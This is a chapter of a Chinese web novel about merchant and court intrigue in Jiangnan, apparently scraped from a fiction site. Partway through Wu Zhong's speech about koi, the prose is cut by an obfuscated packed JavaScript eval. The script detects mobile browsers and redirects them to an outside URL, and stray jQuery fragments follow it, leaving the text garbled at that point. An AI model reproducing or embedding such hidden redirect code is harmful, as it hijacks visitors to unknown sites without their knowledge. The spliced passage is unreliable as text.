文趣网 > 其他小说 > 弄意 > 30. 锦鲤
    梁陌心将李鹤白独自离去的事情禀报给了谢九。

    她一身青衣,候在层层纱帐遮掩的下首处。

    云恬阁内檀香袅袅,墨玉雕成的蟾蜍缸中水声潺潺,配着那玛瑙黄玉做的竹节摆件,金尊玉贵,自成一景。

    自胡济中倒台之后,胡家的岸口被几路盐商瓜分。谢九作为新任知州石勤在商户中的话事人,凭借着口舌之利和斡旋能力,在各路盐商之间巧妙周旋调节,坐稳了江淮行首之位。

    他执掌的四六局也因此更上一层楼。此去经年,已过了很久的安生日子。

    梁陌心注视着那道层层帷幕后瘦削的身影,只觉得一身墨发素衣的谢九随着年岁增长愈发难以揣摩。她不由想起多年前的情景——

    她父母去得早,自幼跟着哥嫂过活。她年纪虽小,但穷人孩子早当家,小小年纪便能在哥嫂农忙时帮着照看年幼的侄子侄女。日子虽然清苦,倒也能过得下去。但偏偏天公不作美,赶上了饥荒,哥嫂为了活下去,只能将她卖了。

    她第一次见到谢九的时候,是个大雪纷飞的寒天。

    少年穿着一身不知什么材质织成的华贵锦袍,披着一件没有杂色的雪白大氅,怀中抱着一只青玉暖炉。檀香从暖炉中央袅袅升起,模糊了他的面貌,愈发衬得他雍容华贵、宛如天仙。

    梁陌心活到这么大从未见过如此貌美的人,只觉得皇宫中的贵妃娘娘也不过如此,一时之间竟看得呆了。

    少年不过十五六岁,却是见过大风大浪的,竟能沉着冷静地指挥着十几个年纪比他大的家丁奔前忙后。另有一个四五十岁的紫衣中年人点头哈腰地跟在他身后,陪着小心说话。

    梁陌心认得那人,是平日里佃户们上赶着巴结的“陈佛爷”,从未对谁有过好脸色,但如今,竟挤着笑亦步亦趋地跟在少年身后,殷切的模样实属罕见。

    但少年却连看都没看他一眼,目光始终停留在田产和帐银上,只在对方汇报到要紧处,才会分神多问一嘴。

    梁陌心从旁人口中得知,这是主家的少爷,来巡视此处的产业。

    他们生活的这座山、耕种的这片田、用水的河流、居住的农庄都是少爷的产业。他就是说一不二的天,谁也不能得罪他。

    梁陌心静静地听着,她也不知道自己为什么会关注少爷,只是一不留神,就将有关谢九的事情全都听了个遍。

    恰巧哥嫂找来的人伢子到了,拉着她就要去验看牙齿。她不知哪里生出的勇气,竟然挣脱了人伢子的手,冲破了围着她的几个人,头破血流地扑倒在了谢九面前。

    她用两只手牢牢地抓着谢九的衣襟,鸡爪似的手在华贵的锦衣上留下了难堪的痕迹。

    “救救我,救救我,我不想被卖掉,求求你买下我,我愿意做苦力活。”

    梁陌心并不清楚那时候的自己是怎么想的,她只是凭着一股求生的本能,病急乱投医。

    其他人也都因这突如其来的变故愣住了。

    “你……”跟在谢九身边的“陈佛爷”刚要训斥,就被少年抬起的手制止。

    他们还是第一次见到有人胆敢这般冒犯谢九,一时间所有目光像锥子一样刺在了她身上。

    梁陌心没有理会哥嫂的责骂和周围人的窃窃私语,只将所有希望投向眼前这个唯一可能改变她命运的少年。

    只见那个宛如天神般的少年垂眸,黑黢黢的眼中投来沉沉的一瞥,好似深渊。

    此去多年,十几载光阴如白驹过隙,梁陌心本以为自己已经足够了解谢九。但每次见着伫立在云恬阁内的那道身影,还是会感到一丝怔然。

    她汇报完李鹤白的事后,特意等了一会儿,见谢九没有要交代她的事情后,这才默默地告退。

    她并不知道,在梁陌心离去之后,谢九再次碎了手中的茶盏。

    不过并不是为着李鹤白的事。

    天师大人不食人间烟火,独来独往惯了,只知道言及别人寿数会遭人嫌弃,却不晓得,当着对方的面说“你自身难保”同样很让人尴尬。

    但谢九不与他计较。他在官商两道见多了尔虞我诈、口腹蜜剑之人,偶尔遇到李鹤白这种真性情,反倒很是稀罕。

    他怒的是,就在不久之前,府衙的耳目来报——石知州亲信田友益竟然在摸鱼时被一名武艺高强的蒙面人劫了,对方将田友益打晕拷问,追问的正是当年胡家账簿的事。

    那胡家的账簿记载的可是江淮二十余载的烂账,盘根错节,牵扯众多,早就已经随着胡济中的死尘归尘、土归土了。

    当年他为了摆平这摊事,费了好大的力气,甚至还折了好友进去。怎会有如此不识好歹之人,想要将陈年旧账扒出来?

    要知道,那可不是简单的账簿,而是江淮官商的催命符!

    上面捆绑着国家财税,下面捆绑着百姓民生,一旦摊开在明面上,那便是烈火烹油,这江淮城中又有谁能扛得住雷霆之威?

    谢九心中,其实已有了人选。统共下场搅局的就那么几拨势力,掰着指头排下来,也能摸清幕后黑手是谁。

    漕运司与府衙都是利益攸关的一方,吴忠与石勤绝不可能在这种事上自掘坟墓;至于太后与贵妃——如果不想先帝的名声有损,她们想必也不会妄动干戈。

    唯独奉当今圣上之命前来江淮查案的永安郡王,有这个动机,也有这个胆量。

    谢九眼中闪过一丝晦暗。

    他忍不住在心里暗骂,石勤的人究竟是干什么吃的,在这个节骨眼上竟还能出这种纰漏——永安郡王入城时,不过带了区区几十人的仪仗队,连这都看不住,真是枉费他辛辛苦苦从缉私队借来的兵。

    良久,他终于缓了神色,修长的手指揉了揉眉心,沉沉吐出一口气:

    “罢了。成事坎坷,好事多磨——我再走一趟知州府便是。”

    ……

    就在谢九搭乘轿辇去往府衙时,漕运司也迎来了一位特殊的客人。

    吴忠本在庭院中给金灵池的锦鲤喂食。

    这些鱼平日里被饿得紧,几粒鱼饵刚撒下去,水面便沸腾起来——各色锦鲤翻涌而出,红的、白的、金黄的,层层叠叠地挤作一团,争先恐后地浮出水面。

    管事跟在他身边,捻着胡子,觑着池中景象卖好道:“‘锦鲤穿波影,玉人散花香’,大人,这是好兆头啊!”

    “正像了江淮城中的这潭水,流水的府衙,铁打的漕运司,无论谁坐高位,都不影响您身居庙堂呐!”

    对于手下人的奉承,吴忠只是笑了笑,末了才不紧不慢地言道:

    “鱼群攒动,看似是先者占据优势,实际上有冒尖的风险;看似是后者落入下风,却也保全了余力,能养精蓄锐、奋勇直上。”

    “我不动,鱼动——只要我手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763649|209325||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    中有饵,鱼群自会闻讯而来。”

    吴大人这一席话,说的显然不只是池中的锦鲤,还包括江淮城眼下的局面。

    圣上派了永安郡王南下,太后与贵妃也纷纷暗中遣人下注,知州府已浑成一潭浊水,谢九也裹挟其中,谁都不得安宁。

    唯有漕运司吴忠目前还端坐钓鱼台,永安郡王查案碍不着他,太后那边施压也被他四两拨千斤地推开,眼下正不慌不忙地筹备着儿子的婚事,着实像极了那鱼群中“敢为天下后”的从容。

    管事正在斟酌着语言,琢磨着该如何接话才能更合上峰的心意,便听见有属下匆匆跑来传讯:

    “大人!知州大人来访,说有要事找您相商,轿子已经抬到了门外了。”

    话音未落,金灵池中两条锦鲤为了夺食竟凭空跃出水面,鱼身纠缠,溅了吴忠和管事一身水花。

    管事慌忙抹了把脸,却见吴忠不恼反笑,悠悠道:“哟,你看,这鱼不就来了吗?”

    没等管事回过味来,就见自家大人已扶正衣冠,振袖而出,笑着地吩咐道:

    “来人,知州大人抱病来访,大驾光临,还不快摆座,好好招待知州大人。”

    ……

    另一边,四六局中的柳若鸿对此一无所知。

    她辞谢了李鹤白之后,便又埋头扎进了四六局的活计里。

    距离吴大人家公子娶妻的宴席已不到一周,局里里里外外都忙得脚不沾地,人人像被抽了鞭子的陀螺,转个不停。

    柳若鸿和周蕙娘更是如此。

    自从乔楠被梁管事罚去禁闭之后,她那摊活计便全落在了两人身上。

    柳若鸿倒还好,她素来是忙惯了的,即便多了一份活,也能将里里外外打理得井井有条。可苦了蕙娘——事情一多,她便忍不住挠头,挠得发髻都歪了半边。

    半天功夫一过,周蕙娘已经像只被晒蔫的小兽,整个人瘫在了桌案上,双目无神,灵魂升天。

    “啊——真是太累了,这样的日子什么时候才是个头啊!”她发出小动物似的哀鸣,声调拖得老长。

    柳若鸿捧着簸箕,手脚不停,一边清点着梁管事交代的器物,一边笑着安慰她:

    “别怕,今年局里统共也就这么几个大单子。等下周吴大人家的宴席办完,咱们就能好好歇上一阵了。”

    她话锋一转,语气轻快了些:“况且,忙点才好呢——说明有生意做。这年头不怕忙,就怕闲。局里若是没了活计,不光姐妹们拿不到银钱,只怕还要裁人咧。”

    周蕙娘虽然嘴上抱怨得厉害,心里却也知道柳若鸿说的是实情。

    她捶了捶酸胀的腰,又哀叹了两声,最终还是撑起身子,搓了把脸,跟着柳若鸿一道干了起来。

    三个人的活计压到两个人肩上,确实有些吃紧。好在柳若鸿与蕙娘素来亲近,又都不是偷懒的性子,两人有说有笑地忙活着,不知不觉间,竟也把活儿都做完了。

    柳若鸿正对着账簿一盏一盏地清点茶具,手指抚过釉面,默数着数目,忽见一个刚入局的小丫头慌慌张张地跑了进来,气都没喘匀,便嚷道:

    “若鸿姐姐,若鸿姐姐,出大事了!”

    柳若鸿闻言望去,只听她说道:

    “方才翠云楼的差人过来,说咱们送过去的茶点全都馊了。他们正带人在楼里闹呢——这可怎么是好啊!”